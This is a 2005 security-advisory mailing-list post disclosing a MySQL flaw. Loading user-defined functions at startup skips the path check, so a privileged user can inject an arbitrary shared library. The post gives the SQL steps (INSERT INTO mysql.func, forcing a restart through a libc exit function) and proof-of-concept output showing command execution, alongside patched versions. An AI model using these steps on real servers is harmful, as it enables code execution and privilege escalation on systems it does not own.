[VulnWatch] Mysql CREATE FUNCTION mysql.func table arbitrary library injection

From: Stefano Di Paola (stefano.dipaola_at_wisec.it)
Date: 03/11/05

  • Next message: Stefano Di Paola: "[VulnWatch] Mysql CREATE FUNCTION libc arbitrary code execution."
    To: vulnwatch <vulnwatch@vulnwatch.org>
    Date: Fri, 11 Mar 2005 00:09:43 +0100
    
    
    

    2. Mysql CREATE FUNCTION mysql.func table arbitrary library injection

    Author: Stefano Di Paola
    Vulnerable: Mysql <= 4.0.23, 4.1.10
    Type of Vulnerability: Local/Remote Privileges Escalation - input
    validation
    Tested On : Mandrake 10.1 /Debian Sarge
    Vendor Status: Notified on March 2005

    -- Description

    If an authenticated user has INSERT and DELETE privileges on 'mysql'
    administrative
    database, it is possible to use a library located in an arbitrary
    directory.

    The problem resides in the lack of checking the presence of directory
    separator in udf_init() function in sql_udf.cc.

    When you try to create a function loading a library from an arbitrary
    directory:
    mysql> create function do_system returns integer soname
    '/tmp/do_system.so';
    ERROR 1124: No paths allowed for shared library

    do you see?
    no way to load a library from an arbitrary directory...

    What happens:
    in sql_udf.cc
    int mysql_create_function(THD *thd,udf_func *udf)
    {
    .....
      /*
        Ensure that the .dll doesn't have a path
        This is done to ensure that only approved dll from the system
        directories are used (to make this even remotely secure).
      */
      if (strchr(udf->dl, '/'))
      {
        send_error(&thd->net, ER_UDF_NO_PATHS,ER(ER_UDF_NO_PATHS));
        DBUG_RETURN(1);
      }
     
    is called and is checked if the name of library contains a '/'
    so nobody can load a library from an arbitrary location.

    Lets see where function infos are stored:

    mysql> describe mysql.func;
    +-------+------------------------------+------+-----+----------+-------+
    | Field | Type | Null | Key | Default | Extra |
    +-------+------------------------------+------+-----+----------+-------+
    | name | char(64) binary | | PRI | | |
    | ret | tinyint(1) | | | 0 | |
    | dl | char(128) | | | | |
    | type | enum('function','aggregate') | | | function | |
    +-------+------------------------------+------+-----+----------+-------+

    The table mysql.func holds all information about
    loaded and created functions and it is kept updated for being loaded
    when mysql restarts. In this way all the function previously created
    can be retrieved.

    This is done by calling
    in sql_udf.cc

    void udf_init()
    {
    ....
    Which reads mysql.func table and re-sets all previously declared
    and created functions.
    Well, the vulnerability lies here.

    Infact it does not check if the 'dl' field contains a '/'.

    If we don't use the CREATE FUNCTION statement, but we use the
    INSERT INTO statement.
    Putting the name of shared library in dl field.
    INSERT INTO mysql.func (name,dl) VALUES
    ('do_system','/tmp/do_system.so');

    And then we force mysql to restart, by using
    for example:
    CREATE FUNCTION exit RETURNS INTEGER SONAME 'libc.so.6';
    SELECT exit(0);

    when mysql restarts it will load the shared library from
    '/tmp/do_system.so'
    by allowing us to use the imported functions.

    Remote exploitation is possible if db user has File_Priv (SELECT ...
    INTO OUTFILE), too.

    A Proof of concept for GNU/Linux is attached (needs MySql root
    password):

    $php exp2.php
    Connected successfully as root
    creating db for lib
    selecting db for lib
    done....
    creating blob table for lib
    done....
    inserting blob table for lib
    done....
    dumping lib in /tmp/libso.so.0...
    done....
    sending lib....
    done....
    Creating exit function to restart server
    done....
    Selecting exit function
    done!
    Waiting for server to restart
    Connected to MySql server again...
    Sending Command...id >/tmp/id
    done!
    Now use your fav shell and ls -l /tmp/id
    $ls -l /tmp/id
    -rw-rw---- 1 mysql mysql 45 gen 28 19:25 /tmp/id

    -- Solution:

    Mysql released a patch.
    New versions for MySQL 4.0.24 and 4.1.10a have been released. Download
    them to fix the issue.

    Thanks to MySQL people, they where very kind and professional.

    -- Disclaimer

    In no event shall the author be liable for any damages
    whatsoever arising out of or in connection with the use
    or spread of this information.
    Any use of this information is at the user's own risk.

    -- 
    ......---oOOo--------oOOo---......
    Stefano Di Paola
    Software Engineer
    Email: stefano.dipaola_at_wisec.it
    Email: stefano.dipaola1_at_tin.it
    Web: www.wisec.it
    ..................................
    
    



  • Next message: Stefano Di Paola: "[VulnWatch] Mysql CREATE FUNCTION libc arbitrary code execution."

    Relevant Pages